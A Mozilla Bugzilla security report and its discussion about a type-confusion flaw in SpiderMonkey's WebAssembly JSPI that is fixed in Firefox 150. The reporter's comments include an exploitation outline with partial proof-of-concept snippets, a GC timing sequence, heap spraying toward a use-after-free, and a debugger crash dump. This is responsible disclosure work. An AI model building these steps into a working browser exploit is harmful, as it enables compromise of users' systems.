[jspi] Unsafe downcast of a cross-compartment Promise wrapper to PromiseObject in SpiderMonkey JSPI
Categories
(Core :: JavaScript: WebAssembly, defect, P3)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | disabled |
| firefox148 | --- | disabled |
| firefox149 | --- | disabled |
| firefox150 | --- | fixed |
People
(Reporter: definitelynotgnas, Assigned: yury)
References
Details
(Keywords: reporter-external, sec-high, unsupported-config, Whiteboard: [client-bounty-form][bugmon:bisected,confirmed])
Attachments
(5 files, 2 external files, 1 obsolete file)
Summary
Unsafe downcast of a cross-compartment Promise wrapper to PromiseObject in SpiderMonkey JSPI causes a debug assertion crash at js/src/vm/JSObject.h:517.
Description / Vulnerability details
Details
- Vulnerable area: SpiderMonkey WebAssembly JS Promise Integration (JSPI)
- Root issue:
WasmPI.cppuses unchecked downcasts toPromiseObjecton values that can be cross-compartment wrappers (CCW/proxy), not realPromiseObjectinstances in the current compartment - Reproduced crash site in
js/src/wasm/WasmPI.cpp:AddPromiseReactions:promiseObj->as<PromiseObject>()at line 1437 (https://searchfox.org/firefox-main/source/js/src/wasm/WasmPI.cpp#1437).
- Why reachable:
PromiseResolve(C, x)may returnxdirectly whenxis already a Promise andx.constructor === C.- With a cross-compartment Promise wrapper, returned object can be a CCW/proxy object
- Observed impact:
- Debug shell: assertion failure
this->is<T>()inJSObject::as<PromiseObject>()atjs/src/vm/JSObject.h:517.
// js/src/vm/JSObject.h template <class T> T& as() { MOZ_ASSERT(this->is<T>()); return *static_cast<T*>(this); }- Exploitability has not been assessed in this report.
- Debug shell: assertion failure
Version / Bisect
- Branch:
mozilla-central - Commit:
768652661f994d1bf533162e3c9ff8e0887d6784 - Commit date:
2026-03-07 16:54:44 +0000
Reproduce
- Build
js.exefrom the target tree with JSPI support available.
# MOZCONFIG
# Build only the JS shell
ac_add_options --enable-project=js
# Enable the debugging tools: Assertions, debug only code etc.
ac_add_options --enable-debug
ac_add_options --disable-optimize
# Logging can be enabled during JIT compilation
ac_add_options --enable-jitspew
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-debug-@CONFIG_GUESS@
- Run minimized PoC (debug assert reproduction):
firefox\obj-debug-x86_64-pc-windows-msvc\dist\bin\js.exe --setpref=wasm_js_promise_integration=true poc.js
- Expected debug result:
- Output includes
before call - Then assertion failure at
JSObject::as<PromiseObject>()fromWasmPI.cpp(AddPromiseReactions path)
- Output includes
before call
[24452] Assertion failure: this->is<T>(), at C:/firefox-dirs/08_03_2026/firefox/js/src\vm/JSObject.h:517
#01: JSObject::as<js::PromiseObject> (C:\firefox-dirs\08_03_2026\firefox\js\src\vm\JSObject.h:517)
#02: js::wasm::AddPromiseReactions (C:\firefox-dirs\08_03_2026\firefox\js\src\wasm\WasmPI.cpp:1437)
#03: ??? (???:???)
Credit
If applicable, please credit Sang Nguyen Thien (@gnas0x0018) of Viettel Cyber Security.
Updated•8 months ago
|
Updated•8 months ago
|
Updated•8 months ago
|
| Reporter | ||
Comment 1•8 months ago
|
||
| Reporter | ||
Comment 2•8 months ago
|
||
I rebuilt js.exe with MOZCONFIG:
ac_add_options --enable-project=js
ac_add_options --disable-debug
ac_add_options --disable-optimize
ac_add_options --enable-jitspew
ac_add_options --as-milestone=release
mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-vuln-@CONFIG_GUESS@
Ive attached a new file type-confusion.js, this is the flow when running with this build:
AddPromiseReactions:
// firefox/js/src/wasm/WasmPI.cpp
// CCW: cross-compartment wrapper
void* AddPromiseReactions(Instance* instance, SuspenderObject* suspender,
void* result, JSFunction* continueOnSuspendable) {
// ...
Rooted<PromiseObject*> promiseObject(cx, &promiseObj->as<PromiseObject>()); // [1] CCW โ as<PromiseObject>() โ type confusion
suspenderObject->setSuspendingReturnType(
SuspenderObject::ReturnType::Promise);
// Add promise reactions
RootedFunction then_(
cx, NewNativeFunction(cx, WasmPISuspendTaskContinue, 1, nullptr,
gc::AllocKind::FUNCTION_EXTENDED, GenericObject));
then_->initExtendedSlot(SUSPENDER_SLOT, ObjectValue(*suspenderObject));
then_->initExtendedSlot(CONTINUE_ON_SUSPENDABLE_SLOT, ObjectValue(*fn));
then_->initExtendedSlot(PROMISE_SLOT, ObjectValue(*promiseObject)); // [2] Store CCW in PROMISE_SLOT (line 1448)
if (!JS::AddPromiseReactions(cx, promiseObject, then_, then_)) {
return AnyRef::invalid().forCompiledCode();
}
return AnyRef::fromJSObject(*promiseObject).forCompiledCode();
}
Foreign promise resolves โ reaction fires:
[4] WasmPISuspendTaskContinue reads PROMISE_SLOT โ gets CCW back
// firefox/js/src/wasm/WasmPI.cpp
// Reaction on resolved/rejected suspending promise.
static bool WasmPISuspendTaskContinue(JSContext* cx, unsigned argc, Value* vp) {
CallArgs args = CallArgsFromVp(argc, vp);
// The arg[0] has result of resolved promise, or rejection reason.
Rooted<JSFunction*> callee(cx, &args.callee().as<JSFunction>());
RootedValue suspender(cx, callee->getExtendedSlot(SUSPENDER_SLOT));
RootedValue suspendingPromise(cx, callee->getExtendedSlot(PROMISE_SLOT)); // [4] line 776
// ...
}
[5] Passes CCW through wasm โ GetSuspendingPromiseResult
// firefox/js/src/wasm/WasmPI.cpp
// Converts promise results into actual function result, or exception/trap
// if rejected.
// Seen as $builtin.get-suspending-promise-result to wasm.
JSObject* GetSuspendingPromiseResult(Instance* instance, void* result,
SuspenderObject* suspender) {
/*
...
*/
Rooted<PromiseObject*> promise(
cx, returnType == SuspenderObject::ReturnType::Promise
? &resultRef.toJSObject().as<PromiseObject>() // [!] type confusion CCW -> PromiseObject
: nullptr);
/*
...
*/
if (promise ? promise->state() == JS::PromiseState:: // [6] Type confusion reads CCW.expandoSlot (which is Null value)
: returnType == SuspenderObject::ReturnType::Exception) {
/*
...
*/
}
// The exception and rejection are handled above -- expect resolved promise.
MOZ_ASSERT(promise->state() == JS::PromiseState::Fulfilled);
RootedValue jsValue(cx, promise->value()); // [7] Type confusion reads CCW.privateSlot
// ...
}
Memory layouts
Offset CCW (ProxyObject) PromiseObject
โโโโโโ โโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
0x00 Shape* Shape*
0x08 ProxyReservedSlots* HeapSlot* slots_
0x10 BaseProxyHandler* HeapSlot* elements_
0x18 expandoSlot (Value) fixedSlots[0] = PromiseSlot_Flags
0x20 privateSlot (Value) fixedSlots[1] = ReactionsOrResult
0x28 reservedSlots[0] (Value) fixedSlots[2] = RejectFunction
0x30 reservedSlots[1] (Value) fixedSlots[3] = DebugInfo
Im looking into whether this type confusion is exploitable
| Reporter | ||
Comment 3•8 months ago
|
||
(In reply to Sang Nguyen Thien from comment #2)
I rebuilt
js.exewithMOZCONFIG:ac_add_options --enable-project=js ac_add_options --disable-debug ac_add_options --disable-optimize ac_add_options --enable-jitspew ac_add_options --as-milestone=release mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-vuln-@CONFIG_GUESS@Ive attached a new file
type-confusion.js, this is the flow when running with this build:AddPromiseReactions:
// firefox/js/src/wasm/WasmPI.cpp // CCW: cross-compartment wrapper void* AddPromiseReactions(Instance* instance, SuspenderObject* suspender, void* result, JSFunction* continueOnSuspendable) { // ... Rooted<PromiseObject*> promiseObject(cx, &promiseObj->as<PromiseObject>()); // [1] CCW โ as<PromiseObject>() โ type confusion suspenderObject->setSuspendingReturnType( SuspenderObject::ReturnType::Promise); // Add promise reactions RootedFunction then_( cx, NewNativeFunction(cx, WasmPISuspendTaskContinue, 1, nullptr, gc::AllocKind::FUNCTION_EXTENDED, GenericObject)); then_->initExtendedSlot(SUSPENDER_SLOT, ObjectValue(*suspenderObject)); then_->initExtendedSlot(CONTINUE_ON_SUSPENDABLE_SLOT, ObjectValue(*fn)); then_->initExtendedSlot(PROMISE_SLOT, ObjectValue(*promiseObject)); // [2] Store CCW in PROMISE_SLOT (line 1448) if (!JS::AddPromiseReactions(cx, promiseObject, then_, then_)) { return AnyRef::invalid().forCompiledCode(); } return AnyRef::fromJSObject(*promiseObject).forCompiledCode(); }Foreign promise resolves โ reaction fires:
[4] WasmPISuspendTaskContinue reads PROMISE_SLOT โ gets CCW back
// firefox/js/src/wasm/WasmPI.cpp // Reaction on resolved/rejected suspending promise. static bool WasmPISuspendTaskContinue(JSContext* cx, unsigned argc, Value* vp) { CallArgs args = CallArgsFromVp(argc, vp); // The arg[0] has result of resolved promise, or rejection reason. Rooted<JSFunction*> callee(cx, &args.callee().as<JSFunction>()); RootedValue suspender(cx, callee->getExtendedSlot(SUSPENDER_SLOT)); RootedValue suspendingPromise(cx, callee->getExtendedSlot(PROMISE_SLOT)); // [4] line 776 // ... }[5] Passes CCW through wasm โ GetSuspendingPromiseResult
// firefox/js/src/wasm/WasmPI.cpp // Converts promise results into actual function result, or exception/trap // if rejected. // Seen as $builtin.get-suspending-promise-result to wasm. JSObject* GetSuspendingPromiseResult(Instance* instance, void* result, SuspenderObject* suspender) { /* ... */ Rooted<PromiseObject*> promise( cx, returnType == SuspenderObject::ReturnType::Promise ? &resultRef.toJSObject().as<PromiseObject>() // [!] type confusion CCW -> PromiseObject : nullptr); /* ... */ if (promise ? promise->state() == JS::PromiseState:: // [6] Type confusion reads CCW.expandoSlot (which is Null value) : returnType == SuspenderObject::ReturnType::Exception) { /* ... */ } // The exception and rejection are handled above -- expect resolved promise. MOZ_ASSERT(promise->state() == JS::PromiseState::Fulfilled); RootedValue jsValue(cx, promise->value()); // [7] Type confusion reads CCW.privateSlot // ... }Memory layouts
Offset CCW (ProxyObject) PromiseObject โโโโโโ โโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ 0x00 Shape* Shape* 0x08 ProxyReservedSlots* HeapSlot* slots_ 0x10 BaseProxyHandler* HeapSlot* elements_ 0x18 expandoSlot (Value) fixedSlots[0] = PromiseSlot_Flags 0x20 privateSlot (Value) fixedSlots[1] = ReactionsOrResult 0x28 reservedSlots[0] (Value) fixedSlots[2] = RejectFunction 0x30 reservedSlots[1] (Value) fixedSlots[3] = DebugInfoIm looking into whether this type confusion is exploitable
At [7], for a CCW, privateSlot = ObjectValue(foreignPromise) โ the unwrapped target object in the other compartment
| Reporter | ||
Comment 4•8 months ago
|
||
| Reporter | ||
Comment 5•8 months ago
|
||
I believe this type confusion can lead to a use-after-free. I will attach uaf.js later.
After [7], the flow:
SetPromisingPromiseResults(...) (WasmPI.cpp:1507)
|_
...
|_ ResolvePromise(...) // firefox/js/src/builtin/Promise.cpp:1906
|_ promise->setFixedSlot(PromiseSlot_ReactionsOrResult, valueOrReason) // [8] firefox/js/src/builtin/Promise.cpp:1937
At [8], raw cross-compartment pointer stored directly in the promise slot (valueOrReason is raw foreign pointer).
Now, the idea would be:
// `uaf.js`
// ...
const g = newGlobal({ newCompartment: true });
g.eval("this.p = Promise.resolve(1337);");
g.eval("Object.defineProperty(p, 'then', {value: undefined});");
let foreignWrapper = g.p;
// ...
// [8] ends
g.eval("p = null;"); // [9] drop the reference inside the foreign compartment
foreignWrapper = null; // [10] drop our CCW reference
gc(); // [11]
gc();
// ...
Then we will trigger gc ([11] full) to collect the CCW to the foreign promise. After this, the CCW table entry for foreignPromise is gone. The ONLY reference from our zone to foreignPromise is the raw pointer in promisingResult's PromiseSlot_ReactionsOrResult slot
schedulezone(g);
gc("zone"); // [12]
Next, 'g' is still alive (we need it for schedulezone), but the foreign promise is unreachable from 'g' (we nulled g.p) and has no CCW table entry. Zone GC ([12]) traces from roots and CCW table -> misses the direct cross-zone reference (raw pointer in promisingResult's PromiseSlot_ReactionsOrResult slot) -> Zone GC on the foreign zone frees the foreign PromiseObject
-> raw pointer becomes dangling
When .then() is called:
PerformPromiseThenWithReaction(...) // firefox/js/src/builtin/Promise.cpp:7258
// promise is Fulfilled => line 7279 else branch
|_ unwrappedPromise->valueOrReason() // line 7286: reads raw ptr from slot
|_ cx->compartment()->wrap(cx, &value) // line 7290: wraps for delivery
|_ ...
|_ lookupWrapper(obj) ~> obj->compartment()
|_ // reads obj->shape() from freed memory [!] <----------------- UAF read
With heap spraying in the foreign zone, I can trigger a crash when attempting to read from 0x4141414141414141 (a user-controllable/arbitrary address).
Run js.exe --setpref=wasm_js_promise_integration=true uaf.js
I used WinDBG:
(9054.6b7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
js!js::BaseShape::realm+0x9:
00007ff7`9d155049 488b4008 mov rax,qword ptr [rax+8] ds:41414141`41414141=????????????????
0:000> r
rax=4141414141414139 rbx=00000231e4e2dac0 rcx=4141414141414139
rdx=000000d1259f8e98 rsi=0000000000000000 rdi=00000231e4e2c370
rip=00007ff79d155049 rsp=000000d1259f8b70 rbp=000000d1259f94e0
r8=00001452f6592040 r9=0000000000000001 r10=000000d1259f8f98
r11=000000d1259f8f90 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
js!js::BaseShape::realm+0x9:
00007ff7`9d155049 488b4008 mov rax,qword ptr [rax+8] ds:41414141`41414141=????????????????
I will attach the js_uaf_crashdump.txt file (containing the stack trace)
| Reporter | ||
Comment 6•8 months ago
|
||
| Reporter | ||
Comment 7•8 months ago
|
||
| Comment hidden (obsolete) |
| Assignee | ||
Comment 9•8 months ago
•
|
||
Well it is a really big misunderstanding in how PromiseResolve behaves in presence of CCW. The fix will be an alternative function that will always return a local promise.
JSPI feature is disabled by default
| Assignee | ||
Comment 10•8 months ago
|
||
| Assignee | ||
Comment 11•8 months ago
|
||
/cc arai and mgaudet if there is a better approach
Comment 12•8 months ago
|
||
Verified bug as reproducible on mozilla-central 20260311050622-d669b0133e0e.
Unable to bisect testcase (Testcase reproduces on start build!):
Start: c0686e07451f5cb80434c838d140bd8b88a64a3b (20251212213741)
End: 9deea8b0a7f33f6410ce3ee1b718a9bc3b394ea5 (20260307210637)
BuildFlags: BuildFlags(asan=True, tsan=False, debug=False, fuzzing=True, coverage=False, valgrind=False, no_opt=False, fuzzilli=False, nyx=False, searchfox=False, afl=False)
Comment 13•8 months ago
|
||
Is this specific step around the PromiseResolve defined by some spec or proposal? if so, what does the spec say around the promise handling and input/output?
Does it expect specific ordering?
| Assignee | ||
Comment 14•8 months ago
|
||
(In reply to Tooru Fujisawa [:arai] from comment #13)
Is this specific step around the PromiseResolve defined by some spec or proposal? if so, what does the spec say around the promise handling and input/output?
Does it expect specific ordering?
here is modified spec https://webassembly.github.io/js-promise-integration/js-api/#jspi near create a suspending function steps:
15.Otherwise,
Let prRet be the result of PromiseResolve(%Promise%,ret.[[Value]]).
Assert: prRet.[[Type]] is throw or normal.
If prRet.[[Type]] is throw, then:
Let type, payload and opaqueData be the result of coercing the JavaScript exception ret.[[Value]].
Throw with type, payload and opaqueData.
Otherwise,
Let promise be prRet.[[Value]].
Set the entry for async_context in map to paused.
Let awaitResult be the result of performing Completion(Await(promise)).
If the entry for async_context in map is not paused then:
Perform throw a JavaScript exception with a SuspendError.
Otherwise, set the entry to active.
If awaitResult.[[Type]] is throw, then:
Let type, payload and opaqueData be the result of coercing the JavaScript exception ret.[[Value]].
Throw with type, payload and opaqueData.
Otherwise, return the result of performing coerce a JavaScript return on resultTypes and awaitResult.
I don't see specific steps for wrappers. All magic is in PromiseResolve?
Comment 15•8 months ago
|
||
Thanks.
If the spec says PromiseResolve, then we should just call PromiseResolve without creating a new promise.
Then, CCW is not a part of spec. it's specific to SpiderMonkey, and in terms of the spec, CCW should be completely transparent and shouldn't affect any behavior.
js::wasm::AddPromiseReactions doesn't have to perform the cast, as nothing requires PromiseObject type.
The consumer of the possibly-wrapped promise should instead unwrap the CCW and enter the realm, and use the PromiseObject methods there.
Is GetSuspendingPromiseResult only the consumer of the raw promise value?
JSObject* GetSuspendingPromiseResult(Instance* instance, void* result,
SuspenderObject* suspender) {
...
Rooted<PromiseObject*> promise(
cx, returnType == SuspenderObject::ReturnType::Promise
? &resultRef.toJSObject().as<PromiseObject>()
: nullptr);
It could be rewritten to something like the following (not tested):
JS::Rooted<PromiseObject*> promise(cx);
JS::Rooted<JS::Value> jsValue(cx);
if (returnType == SuspenderObject::ReturnType::Promise) {
mozilla::Maybe<AutoRealm> ar;
JS::Rooted<JS::Object*> promiseObj(cx, &resultRef.toJSObject());
if (IsWrapper(promiseObj)) {
promiseObj = UncheckedUnwrap(promiseObj);
if (JS_IsDeadWrapper(promiseObj)) {
return nullptr;
}
ar.emplace(cx, promise);
}
promise = promiseObj->as<PromiseObject>();
// use promise->state() and promise->value() here.
// If you need to touch the value outside of the target realm, then:
jsValue = promise->value();
}
if (!cx->compartment()->wrap(cx, &jsValue)) {
return false;
}
// use jsValue here.
| Assignee | ||
Comment 16•8 months ago
|
||
| Assignee | ||
Comment 17•8 months ago
|
||
Depends on D287215
| Assignee | ||
Updated•8 months ago
|
Comment 18•8 months ago
|
||
Unfortunately this bug does not qualify for our bug bounty program. Only features that are enabled by default or have user-facing settings to enable (that is about:preferences) are in scope. If code is only reachable through prefs set manually through config files or about:config they are considered experimental or debugging features that are out-of-scope.
| Reporter | ||
Comment 19•8 months ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #18)
Unfortunately this bug does not qualify for our bug bounty program. Only features that are enabled by default or have user-facing settings to enable (that is about:preferences) are in scope. If code is only reachable through prefs set manually through config files or about:config they are considered experimental or debugging features that are out-of-scope.
Thank you for the clarification regarding the bug bounty scope. I was wondering if this bug is still eligible for a CVE assignment.
Comment 20•8 months ago
|
||
The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:rhunt, could you consider increasing the severity of this security bug?
For more information, please visit BugBot documentation.
Updated•8 months ago
|
| Assignee | ||
Comment 21•8 months ago
|
||
Comment on attachment 9552016 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Type confusion bug in disabled feature. The reporter was able to produce the UAF after forcing GC at right time.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?:
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: The disabled feature is affected
- How likely is this patch to cause regressions; how much testing does it need?: Tested locally with poc. The additional patch provides more tests with CCW.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•8 months ago
|
Comment 22•8 months ago
|
||
Comment on attachment 9552016 [details]
(secure)
I assume you meant to request sec-approval because of the comment with the answered questionnaire, but somehow the flag didn't get set.
The bad news is that we are past the sec-approval request deadline for this cycle.
The good news is that since this is a disabled hidden feature that hasn't shipped you do not need sec-approval to land the fix in Nightly 150. You won't be able to uplift the fix to 149 beta though.
Updated•8 months ago
|
Comment 23•8 months ago
|
||
Bugmon was unable reproduce this issue.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.
Updated•8 months ago
|
Updated•8 months ago
|
Comment 25•8 months ago
|
||
Comment 26•8 months ago
|
||
Comment 27•8 months ago
|
||
Push with failures: https://treeherder.mozilla.org/jobs?repo=autoland&duplicate_jobs=visible&group_state=expanded&resultStatus=testfailed%2Cbusted%2Cexception&revision=874dd0053ac07c27cfc650e35f2d73ec976799d1&failure_classification_id=2
Failure log(s): https://treeherder.mozilla.org/logviewer?job_id=554520750&repo=autoland&task=NU9NLShGSZuQtqn8uIXxKg.0
| Assignee | ||
Comment 28•8 months ago
|
||
eh, nu builds. sorry, about that. patch was updated
Comment 29•8 months ago
|
||
Comment 30•8 months ago
|
||
Updated•7 months ago
|
Updated•2 months ago
|
Description
•